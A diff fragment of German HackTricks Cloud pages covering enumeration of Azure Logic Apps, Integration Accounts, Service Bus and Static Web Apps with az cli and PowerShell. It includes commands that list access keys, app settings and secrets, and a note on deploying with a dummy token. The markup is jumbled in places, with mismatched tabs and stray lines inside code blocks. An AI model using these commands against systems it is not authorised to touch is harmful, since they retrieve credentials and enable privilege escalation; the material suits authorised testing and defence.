- **Workflow Service Plan**: dedizierte Rechenressourcen mit VNET-Integration für Networking und Gebühren pro Workflow-Service-Plan-Instanz. Es ist geeignet für anspruchsvollere Workloads, die mehr Kontrolle erfordern.
|
||||
- **App Service Environment V3**: dedizierte Rechenressourcen mit vollständiger Isolation und Skalierbarkeit. Es integriert sich auch mit VNET für Networking und verwendet ein Preismodell basierend auf App Service-Instanzen innerhalb der Umgebung. Dies ist ideal für unternehmensgroße Anwendungen, die hohe Isolation benötigen.
|
||||
- **Hybrid**: entworfen für lokale Verarbeitung und Multi-Cloud-Unterstützung. Es ermöglicht kundenverwaltete Rechenressourcen mit lokalem Netzwerkzugang und nutzt Kubernetes Event-Driven Autoscaling (KEDA).
|
||||
|
||||
### Enumeration
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="az cli" %}
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# List
|
||||
az logic workflow list --resource-group <ResourceGroupName> --subscription <SubscriptionID> --output table
|
||||
az logic workflow list --resource-group <ResourceGroupName>
|
||||
# Get info
|
||||
az logic workflow show --name <LogicAppName> --resource-group <ResourceGroupName> --subscription <SubscriptionID>
|
||||
# Get Logic App config
|
||||
az logic workflow definition show --name <LogicAppName> --resource-group <ResourceGroupName> --subscription <SubscriptionID>
|
||||
# Get service ppal used
|
||||
az logic workflow identity show --name <LogicAppName> --resource-group <ResourceGroupName> --subscription <SubscriptionID>
|
||||
```
|
||||
{{#endtab }}
|
||||
az logic workflow show --name <LogicAppName> --resource-group <ResourceGroupName>
|
||||
|
||||
{{#tab name="Az PowerSHell" }}
|
||||
# Get details of a specific Logic App workflow, including its connections and parameters
|
||||
az rest \
|
||||
--method GET \
|
||||
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}?api-version=2016-10-01&$expand=connections.json,parameters.json" \
|
||||
--headers "Content-Type=application/json"
|
||||
|
||||
# Get details about triggers for a specific Logic App
|
||||
az rest --method GET \
|
||||
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers?api-version=2016-06-01"
|
||||
|
||||
# Get the callback URL for a specific trigger in a Logic App
|
||||
az rest --method POST \
|
||||
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers/{triggerName}/listCallbackUrl?api-version=2016-06-01"
|
||||
|
||||
# Get the history of a specific trigger in a Logic App
|
||||
az rest --method GET \
|
||||
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers/{triggerName}/histories?api-version=2016-06-01"
|
||||
|
||||
# List all runs of a specific Logic App workflow
|
||||
az rest \
|
||||
--method GET \
|
||||
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/runs?api-version=2016-06-01" \
|
||||
--headers "Content-Type=application/json"
|
||||
|
||||
# Get all actions within a specific run of a Logic App workflow
|
||||
az rest \
|
||||
--method GET \
|
||||
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/runs/{runName}/actions?api-version=2016-06-01" \
|
||||
--headers "Content-Type=application/json"
|
||||
|
||||
# List all versions of a specific Logic App workflow
|
||||
az rest \
|
||||
--method GET \
|
||||
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/versions?api-version=2016-06-01" \
|
||||
--headers "Content-Type=application/json"
|
||||
|
||||
# Get details of a specific version of a Logic App workflow
|
||||
az rest \
|
||||
--method GET \
|
||||
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/versions/{versionName}?api-version=2016-06-01" \
|
||||
--headers "Content-Type=application/json"
|
||||
|
||||
az rest \
|
||||
--method GET \
|
||||
--uri "https://examplelogicapp1994.scm.azurewebsites.net/api/functions/admin/download?includeCsproj=true&includeAppSettings=true" \
|
||||
--headers "Content-Type=application/json"
|
||||
|
||||
# List all Logic Apps in the specified resource group
|
||||
az logicapp list --resource-group <ResourceGroupName>
|
||||
|
||||
# Show detailed information about a specific Logic App
|
||||
az logicapp show --name <LogicAppName> --resource-group <ResourceGroupName>
|
||||
|
||||
# List all application settings for a specific Logic App
|
||||
az logicapp config appsettings list --name <LogicAppName> --resource-group <ResourceGroupName>
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Az PowerShell" %}
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
Get-Command -Module Az.LogicApp
|
||||
|
||||
# List
|
||||
Get-AzLogicApp -ResourceGroupName <ResourceGroupName>
|
||||
# Get info
|
||||
Get-AzLogicApp -ResourceGroupName <ResourceGroupName> -Name <LogicAppName>
|
||||
# Get Logic App config
|
||||
(Get-AzLogicApp -ResourceGroupName <ResourceGroupName> -Name <LogicAppName>).Definition | ConvertTo-Json
|
||||
# Get service ppal used
|
||||
(Get-AzLogicApp -ResourceGroupName <ResourceGroupName> -Name <LogicAppName>).Identity
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
# Get details of a specific Logic App workflow run action
|
||||
Get-AzLogicAppRunAction -ResourceGroupName "<ResourceGroupName>" -Name "<LogicAppName>" -RunName "<RunName>"
|
||||
|
||||
# Get the run history for a specific Logic App
|
||||
Get-AzLogicAppRunHistory -ResourceGroupName "<ResourceGroupName>" -Name "<LogicAppName>"
|
||||
|
||||
# Get details about triggers for a specific Logic App
|
||||
Get-AzLogicAppTrigger -ResourceGroupName "<ResourceGroupName>" -Name "<LogicAppName>"
|
||||
|
||||
# Get the callback URL for a specific trigger in a Logic App
|
||||
Get-AzLogicAppTriggerCallbackUrl -ResourceGroupName "<ResourceGroupName>" -LName "<LogicAppName>" -TriggerName "<TriggerName>"
|
||||
|
||||
# Get the history of a specific trigger in a Logic App
|
||||
Get-AzLogicAppTriggerHistory -ResourceGroupName "<ResourceGroupName>" -Name "<LogicAppName>" -TriggerName "<TriggerName>"
|
||||
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
|
||||
|
||||
### Integrationskonten
|
||||
**Integrationskonten** sind eine Funktion von Azure Logic Apps. Integrationskonten werden verwendet, um unternehmensweite Integrationen zu erleichtern, indem sie erweiterte B2B-Funktionen wie EDI, AS2 und XML-Schema-Management ermöglichen. Integrationskonten sind ein Container in Azure, der die folgenden Artefakte speichert, die für Logic Apps verwendet werden:
|
||||
|
||||
* Schemata: Verwaltet XML-Schemata zur Validierung und Verarbeitung von Nachrichten in Ihrem Integrationskonto.
|
||||
* Maps: Konfigurieren Sie XSLT-basierte Transformationen, um Datenformate innerhalb Ihrer Integrations-Workflows zu konvertieren.
|
||||
* Assemblies: Verwaltet Integrationskonten-Assemblies, um Logik und Datenverarbeitung zu optimieren.
|
||||
* Zertifikate: Verwaltet Zertifikate zur Verschlüsselung und Signierung von Nachrichten, um eine sichere Kommunikation zu gewährleisten.
|
||||
* Partner: Verwaltet Informationen über Handelspartner für B2B-Transaktionen und ermöglicht nahtlose Integrationen.
|
||||
* Vereinbarungen: Konfigurieren Sie Regeln und Einstellungen für den Austausch von Daten mit Handelspartnern (z. B. EDI, AS2).
|
||||
* Batch-Konfigurationen: Verwaltet Batch-Verarbeitungs-Konfigurationen, um Nachrichten effizient zu gruppieren und zu verarbeiten.
|
||||
* RosettaNet PIP: Konfigurieren Sie RosettaNet Partner Interface Processes (PIPs), um die B2B-Kommunikation zu standardisieren.
|
||||
|
||||
#### Aufzählung
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="az cli" %}
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# Integration account
|
||||
az logic integration-account list --resource-group <resource-group-name>
|
||||
az logic integration-account show --resource-group <resource-group-name> --name <integration-account-name>
|
||||
az logic integration-account list-callback-url --resource-group <resource-group-name> --integration-account-name <integration-account-name>
|
||||
|
||||
# Batch-configuration
|
||||
az logic integration-account batch-configuration list \
|
||||
--resource-group <resource-group-name> \
|
||||
--integration-account-name <integration-account-name>
|
||||
|
||||
az logic integration-account batch-configuration show \
|
||||
--resource-group <resource-group-name> \
|
||||
--integration-account-name <integration-account-name> \
|
||||
--batch-configuration-name <batch-configuration-name>
|
||||
|
||||
# Map
|
||||
az logic integration-account map list \
|
||||
--resource-group <resource-group-name> \
|
||||
--integration-account <integration-account-name>
|
||||
|
||||
az logic integration-account map show \
|
||||
--resource-group <resource-group-name> \
|
||||
--integration-account <integration-account-name> \
|
||||
--map-name <map-name>
|
||||
|
||||
# Partner
|
||||
az logic integration-account partner list \
|
||||
--resource-group <resource-group-name> \
|
||||
--integration-account <integration-account-name>
|
||||
|
||||
az logic integration-account partner show \
|
||||
--resource-group <resource-group-name> \
|
||||
--integration-account <integration-account-name> \
|
||||
--name <partner-name>
|
||||
|
||||
# Session
|
||||
az logic integration-account session list \
|
||||
--resource-group <resource-group-name> \
|
||||
--integration-account <integration-account-name>
|
||||
|
||||
az logic integration-account session show \
|
||||
--resource-group <resource-group-name> \
|
||||
--integration-account <integration-account-name> \
|
||||
--name <session-name>
|
||||
|
||||
# Assembly
|
||||
# Session
|
||||
az logic integration-account assembly list \
|
||||
--resource-group <resource-group-name> \
|
||||
--integration-account <integration-account-name>
|
||||
|
||||
az logic integration-account assembly show \
|
||||
--resource-group <resource-group-name> \
|
||||
--integration-account <integration-account-name> \
|
||||
--assembly-artifact-name <assembly-name>
|
||||
|
||||
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Az PowerShell" %}
|
||||
{% code overflow="wrap" %}
|
||||
```powershell
|
||||
Get-Command -Module Az.LogicApp
|
||||
|
||||
# Retrieve details of an integration account
|
||||
Get-AzIntegrationAccount -ResourceGroupName <resource-group-name> -Name <integration-account-name>
|
||||
|
||||
# Retrieve the callback URL of an integration account
|
||||
Get-AzIntegrationAccountCallbackUrl -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name>
|
||||
|
||||
# Retrieve details of a specific agreement in an integration account
|
||||
Get-AzIntegrationAccountAgreement -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <agreement-name>
|
||||
|
||||
# Retrieve details of a specific assembly in an integration account
|
||||
Get-AzIntegrationAccountAssembly -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <assembly-name>
|
||||
|
||||
# Retrieve details of a specific batch configuration in an integration account
|
||||
Get-AzIntegrationAccountBatchConfiguration -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <batch-configuration-name>
|
||||
|
||||
# Retrieve details of a specific certificate in an integration account
|
||||
Get-AzIntegrationAccountCertificate -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <certificate-name>
|
||||
|
||||
# Retrieve details of a specific map in an integration account
|
||||
Get-AzIntegrationAccountMap -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <map-name>
|
||||
|
||||
# Retrieve details of a specific partner in an integration account
|
||||
Get-AzIntegrationAccountPartner -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <partner-name>
|
||||
|
||||
# Retrieve details of a specific schema in an integration account
|
||||
Get-AzIntegrationAccountSchema -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <schema-name>
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
|
||||
## Privilegieneskalation
|
||||
|
||||
Gleich wie bei Logic Apps Privesc:
|
||||
|
||||
{% content-ref url="../az-privilege-escalation/az-logic-apps-privesc.md" %}
|
||||
[az-logic-apps-privesc.md](../az-privilege-escalation/az-logic-apps-privesc.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Post-Exploitation
|
||||
|
||||
{% content-ref url="../az-post-exploitation/az-logic-apps-post-exploitation.md" %}
|
||||
[az-logic-apps-post-exploitation.md](../az-post-exploitation/az-logic-apps-post-exploitation.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Lerne & übe AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Unterstütze HackTricks</summary>
|
||||
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Service Bus
|
||||
|
||||
Azure Service Bus ist ein cloudbasierter **Messaging-Dienst**, der entwickelt wurde, um eine zuverlässige **Kommunikation zwischen verschiedenen Teilen einer Anwendung oder separaten Anwendungen** zu ermöglichen. Er fungiert als sicherer Mittelsmann und stellt sicher, dass Nachrichten sicher zugestellt werden, selbst wenn Sender und Empfänger nicht gleichzeitig arbeiten. Durch die Entkopplung von Systemen ermöglicht er es Anwendungen, unabhängig zu arbeiten, während sie weiterhin Daten oder Anweisungen austauschen. Er ist besonders nützlich für Szenarien, die Lastverteilung über mehrere Arbeiter, zuverlässige Nachrichtenübermittlung oder komplexe Koordination erfordern, wie z.B. die Verarbeitung von Aufgaben in der richtigen Reihenfolge oder die sichere Verwaltung von Zugriffsrechten.
|
||||
Azure Service Bus ist ein cloudbasierter **Messaging-Dienst**, der entwickelt wurde, um eine zuverlässige **Kommunikation zwischen verschiedenen Teilen einer Anwendung oder separaten Anwendungen** zu ermöglichen. Er fungiert als sicherer Mittelsmann und stellt sicher, dass Nachrichten sicher zugestellt werden, selbst wenn Sender und Empfänger nicht gleichzeitig arbeiten. Durch die Entkopplung von Systemen ermöglicht es Anwendungen, unabhängig zu arbeiten, während sie dennoch Daten oder Anweisungen austauschen. Es ist besonders nützlich für Szenarien, die Lastverteilung über mehrere Arbeiter, zuverlässige Nachrichtenübermittlung oder komplexe Koordination erfordern, wie z.B. die Verarbeitung von Aufgaben in der richtigen Reihenfolge oder die sichere Verwaltung von Zugriffsrechten.
|
||||
|
||||
### Schlüsselkonzepte
|
||||
|
||||
@@ -26,12 +26,12 @@ Einige erweiterte Funktionen sind:
|
||||
- **Automatische Weiterleitung**: Überträgt Nachrichten zwischen Warteschlangen oder Themen im selben Namespace.
|
||||
- **Dead-Lettering**: Erfasst nicht zustellbare Nachrichten zur Überprüfung.
|
||||
- **Geplante Lieferung**: Verzögert die Nachrichtenverarbeitung für zukünftige Aufgaben.
|
||||
- **Nachrichtenaussetzung**: Verschiebt den Abruf von Nachrichten, bis sie bereit sind.
|
||||
- **Nachrichtenaussetzung**: Verschiebt die Nachrichtenabholung, bis sie bereit ist.
|
||||
- **Transaktionen**: Gruppiert Operationen in atomare Ausführung.
|
||||
- **Filter & Aktionen**: Wendet Regeln an, um Nachrichten zu filtern oder zu annotieren.
|
||||
- **Automatische Löschung bei Inaktivität**: Löscht Warteschlangen nach Inaktivität (min: 5 Minuten).
|
||||
- **Automatisches Löschen bei Inaktivität**: Löscht Warteschlangen nach Inaktivität (min: 5 Minuten).
|
||||
- **Duplikaterkennung**: Entfernt doppelte Nachrichten während der erneuten Übertragung.
|
||||
- **Batch-Löschung**: Löscht abgelaufene oder unnötige Nachrichten in großen Mengen.
|
||||
- **Batch-Löschung**: Löscht im Bulk abgelaufene oder unnötige Nachrichten.
|
||||
|
||||
### Autorisierungsregel / SAS-Richtlinie
|
||||
|
||||
@@ -50,6 +50,10 @@ SAS-Richtlinien definieren die Zugriffsberechtigungen für Azure Service Bus-Ent
|
||||
sku, autorisierungsregel,
|
||||
|
||||
### Enumeration
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="az cli" %}
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# Queue Enumeration
|
||||
az servicebus queue list --resource-group <MyResourceGroup> --namespace-name <MyNamespace>
|
||||
@@ -77,13 +81,65 @@ az servicebus queue authorization-rule list --resource-group <MyResourceGroup> -
|
||||
az servicebus topic authorization-rule list --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --topic-name <MyTopic>
|
||||
az servicebus namespace authorization-rule keys list --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --name <MyAuthRule>
|
||||
```
|
||||
### Privilegienerweiterung
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Az PowerShell" %}
|
||||
{% code overflow="wrap" %}
|
||||
```powershell
|
||||
Get-Command -Module Az.ServiceBus
|
||||
|
||||
# Retrieves details of a Service Bus namespace, including V2-specific features like additional metrics or configurations.
|
||||
Get-AzServiceBusNamespaceV2 -ResourceGroupName <ResourceGroupName> -Name <NamespaceName>
|
||||
|
||||
# Retrieves the authorization rules for a Service Bus namespace, queue, or topic.
|
||||
Get-AzServiceBusAuthorizationRule -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName>
|
||||
|
||||
# Retrieves the Geo-Disaster Recovery configuration for a Service Bus namespace, if it is enabled.
|
||||
Get-AzServiceBusGeoDRConfiguration -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName>
|
||||
|
||||
# Retrieves the shared access keys for a specified authorization rule in a Service Bus namespace.
|
||||
Get-AzServiceBusKey -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName> -Name <RuleName>
|
||||
|
||||
# Retrieves the migration state and details for a Service Bus namespace, if a migration is in progress.
|
||||
Get-AzServiceBusMigration -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName>
|
||||
|
||||
# Retrieves properties and details about a Service Bus namespace.
|
||||
Get-AzServiceBusNamespace -ResourceGroupName <ResourceGroupName> -Name <NamespaceName>
|
||||
|
||||
# Retrieves the network rule set for a Service Bus namespace, such as IP restrictions or virtual network access rules.
|
||||
Get-AzServiceBusNetworkRuleSet -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName>
|
||||
|
||||
# Retrieves private endpoint connections for a Service Bus namespace.
|
||||
Get-AzServiceBusPrivateEndpointConnection -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName>
|
||||
|
||||
# Retrieves private link resources associated with a Service Bus namespace.
|
||||
Get-AzServiceBusPrivateLink -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName>
|
||||
|
||||
# Retrieves details of a specified queue in a Service Bus namespace.
|
||||
Get-AzServiceBusQueue -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName> -Name <QueueName>
|
||||
|
||||
# Retrieves rules (filters and actions) for a subscription under a Service Bus topic.
|
||||
Get-AzServiceBusRule -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName> -TopicName <TopicName> -SubscriptionName <SubscriptionName>
|
||||
|
||||
# Retrieves details of subscriptions for a specified Service Bus topic.
|
||||
Get-AzServiceBusSubscription -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName> -TopicName <TopicName>
|
||||
|
||||
# Retrieves details of a specified topic in a Service Bus namespace.
|
||||
Get-AzServiceBusTopic -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName>
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
|
||||
### Privilegieneskalation
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-servicebus-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### Nach der Ausnutzung
|
||||
### Post-Exploitation
|
||||
|
||||
{{#ref}}
|
||||
../az-post-exploitation/az-servicebus-post-exploitation.md
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Grundinformationen zu Statischen Web-Apps
|
||||
|
||||
Azure Static Web Apps ist ein Cloud-Dienst zum Hosten von **statischen Web-Apps mit automatischem CI/CD aus Repositories wie GitHub**. Es bietet globale Inhaltsbereitstellung, serverlose Backends und integriertes HTTPS, was es sicher und skalierbar macht. Allerdings bedeutet es nicht, dass der Dienst, auch wenn er "statisch" genannt wird, völlig sicher ist. Risiken umfassen falsch konfigurierte CORS, unzureichende Authentifizierung und Inhaltsmanipulation, die Apps Angriffen wie XSS und Datenlecks aussetzen können, wenn sie nicht ordnungsgemäß verwaltet werden.
|
||||
Azure Static Web Apps ist ein Cloud-Dienst zum Hosten von **statischen Web-Apps mit automatischem CI/CD aus Repositories wie GitHub**. Es bietet globale Inhaltsbereitstellung, serverlose Backends und integriertes HTTPS, was es sicher und skalierbar macht. Allerdings bedeutet der Name "statisch" nicht, dass es völlig sicher ist. Risiken umfassen falsch konfigurierte CORS, unzureichende Authentifizierung und Inhaltsmanipulation, die Apps Angriffen wie XSS und Datenlecks aussetzen können, wenn sie nicht ordnungsgemäß verwaltet werden.
|
||||
|
||||
### Bereitstellungsauthentifizierung
|
||||
|
||||
@@ -12,8 +12,8 @@ Azure Static Web Apps ist ein Cloud-Dienst zum Hosten von **statischen Web-Apps
|
||||
> Wenn eine Statische App erstellt wird, können Sie die **Bereitstellungsautorisierungspolitik** zwischen **Bereitstellungstoken** und **GitHub Actions-Workflow** wählen.
|
||||
|
||||
- **Bereitstellungstoken**: Ein Token wird generiert und verwendet, um den Bereitstellungsprozess zu authentifizieren. Jeder mit **diesem Token kann eine neue Version der App bereitstellen**. Eine **Github Action wird automatisch** im Repo mit dem Token in einem Geheimnis bereitgestellt, um jedes Mal eine neue Version der App bereitzustellen, wenn das Repo aktualisiert wird.
|
||||
- **GitHub Actions-Workflow**: In diesem Fall wird eine sehr ähnliche Github Action ebenfalls im Repo bereitgestellt und das **Token wird ebenfalls in einem Geheimnis gespeichert**. Diese Github Action hat jedoch einen Unterschied, sie verwendet die **`actions/github-script@v6`**-Aktion, um das IDToken des Repositories zu erhalten und es zur Bereitstellung der App zu verwenden.
|
||||
- Selbst wenn in beiden Fällen die Aktion **`Azure/static-web-apps-deploy@v1`** mit einem Token im `azure_static_web_apps_api_token`-Parameter verwendet wird, ist in diesem zweiten Fall ein zufälliges Token mit einem gültigen Format wie `12345cbb198a77a092ff885781a62a15d51ef5e3654ca11234509ab54547270704-4140ccee-e04f-424f-b4ca-3d4dd123459c00f0702071d12345` ausreichend, um die App bereitzustellen, da die Autorisierung mit dem IDToken im `github_id_token`-Parameter erfolgt.
|
||||
- **GitHub Actions-Workflow**: In diesem Fall wird eine sehr ähnliche Github Action ebenfalls im Repo bereitgestellt und das **Token wird ebenfalls in einem Geheimnis gespeichert**. Diese Github Action hat jedoch einen Unterschied, sie verwendet die **`actions/github-script@v6`** Action, um das IDToken des Repositories zu erhalten und es zur Bereitstellung der App zu verwenden.
|
||||
- Selbst wenn in beiden Fällen die Action **`Azure/static-web-apps-deploy@v1`** mit einem Token im `azure_static_web_apps_api_token`-Parameter verwendet wird, ist in diesem zweiten Fall ein zufälliges Token mit einem gültigen Format wie `12345cbb198a77a092ff885781a62a15d51ef5e3654ca11234509ab54547270704-4140ccee-e04f-424f-b4ca-3d4dd123459c00f0702071d12345` ausreichend, um die App bereitzustellen, da die Autorisierung mit dem IDToken im `github_id_token`-Parameter erfolgt.
|
||||
|
||||
### Grundlegende Authentifizierung für Web-Apps
|
||||
|
||||
@@ -62,7 +62,7 @@ Einige Beispiele:
|
||||
}
|
||||
}
|
||||
```
|
||||
Beachten Sie, dass es möglich ist, **einen Pfad mit einer Rolle zu schützen**. Benutzer müssen sich dann bei der App authentifizieren und diese Rolle erhalten, um auf den Pfad zuzugreifen. Es ist auch möglich, **Einladungen zu erstellen**, die bestimmten Benutzern, die sich über EntraID, Facebook, GitHub, Google, Twitter anmelden, spezifische Rollen gewähren, was nützlich sein könnte, um Privilegien innerhalb der App zu eskalieren.
|
||||
Beachten Sie, wie es möglich ist, **einen Pfad mit einer Rolle zu schützen**. Benutzer müssen sich dann bei der App authentifizieren und diese Rolle erhalten, um auf den Pfad zuzugreifen. Es ist auch möglich, **Einladungen zu erstellen**, die bestimmten Benutzern, die sich über EntraID, Facebook, GitHub, Google, Twitter anmelden, spezifische Rollen gewähren, was nützlich sein könnte, um Privilegien innerhalb der App zu eskalieren.
|
||||
|
||||
> [!TIP]
|
||||
> Beachten Sie, dass es möglich ist, die App so zu konfigurieren, dass **Änderungen an der `staticwebapp.config.json`**-Datei nicht akzeptiert werden. In diesem Fall könnte es nicht ausreichen, die Datei nur von Github zu ändern, sondern auch **die Einstellung in der App zu ändern**.
|
||||
@@ -76,6 +76,10 @@ Azure Static Web Apps können so konfiguriert werden, dass sie **verwaltete Iden
|
||||
Für weitere Informationen finden Sie in einem Azure-Leitfaden, wie Sie ein Vault-Geheimnis in einer statischen App verwenden, unter https://learn.microsoft.com/en-us/azure/static-web-apps/key-vault-secrets.
|
||||
|
||||
## Aufzählung
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="az cli" %}
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# List Static Webapps
|
||||
az staticwebapp list --output table
|
||||
@@ -107,9 +111,62 @@ az rest --method POST \
|
||||
# Check connected backends
|
||||
az staticwebapp backends show --name <name> --resource-group <res-group>
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Az PowerShell" %}
|
||||
{% code overflow="wrap" %}
|
||||
```powershell
|
||||
Get-Command -Module Az.Websites
|
||||
|
||||
# Retrieves details of a specific Static Web App in the specified resource group.
|
||||
Get-AzStaticWebApp -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||
|
||||
# Retrieves the build details for a specific Static Web App.
|
||||
Get-AzStaticWebAppBuild -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||
|
||||
# Retrieves the application settings for a specific build environment in a Static Web App.
|
||||
Get-AzStaticWebAppBuildAppSetting -ResourceGroupName <ResourceGroupName> -Name <Name> -EnvironmentName <EnvironmentName>
|
||||
|
||||
# Retrieves functions for a specific build environment in a Static Web App.
|
||||
Get-AzStaticWebAppBuildFunction -ResourceGroupName <ResourceGroupName> -Name <Name> -EnvironmentName <EnvironmentName>
|
||||
|
||||
# Retrieves function app settings for a specific build environment in a Static Web App.
|
||||
Get-AzStaticWebAppBuildFunctionAppSetting -ResourceGroupName <ResourceGroupName> -Name <Name> -EnvironmentName <EnvironmentName>
|
||||
|
||||
# Retrieves the configured roles for a Static Web App.
|
||||
Get-AzStaticWebAppConfiguredRole -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||
|
||||
# Retrieves the custom domains configured for a Static Web App.
|
||||
Get-AzStaticWebAppCustomDomain -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||
|
||||
# Retrieves details of the functions associated with a Static Web App.
|
||||
Get-AzStaticWebAppFunction -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||
|
||||
# Retrieves the app settings for the function app associated with a Static Web App.
|
||||
Get-AzStaticWebAppFunctionAppSetting -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||
|
||||
# Retrieves the secrets for a Static Web App.
|
||||
Get-AzStaticWebAppSecret -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||
|
||||
# Retrieves general app settings for a Static Web App.
|
||||
Get-AzStaticWebAppSetting -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||
|
||||
# Retrieves user details for a Static Web App with a specified authentication provider.
|
||||
Get-AzStaticWebAppUser -ResourceGroupName <ResourceGroupName> -Name <Name> -AuthProvider <AuthProvider>
|
||||
|
||||
# Retrieves user-provided function apps associated with a Static Web App.
|
||||
Get-AzStaticWebAppUserProvidedFunctionApp -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
|
||||
## Beispiele zur Erstellung von Webanwendungen
|
||||
|
||||
Sie finden ein schönes Beispiel zur Erstellung einer Webanwendung im folgenden Link: [https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github](https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github)
|
||||
Sie finden ein schönes Beispiel zur Erstellung einer Webanwendung unter folgendem Link: [https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github](https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github)
|
||||
|
||||
1. Forken Sie das Repository https://github.com/staticwebdev/react-basic/generate in Ihr GitHub-Konto und benennen Sie es in `my-first-static-web-app`
|
||||
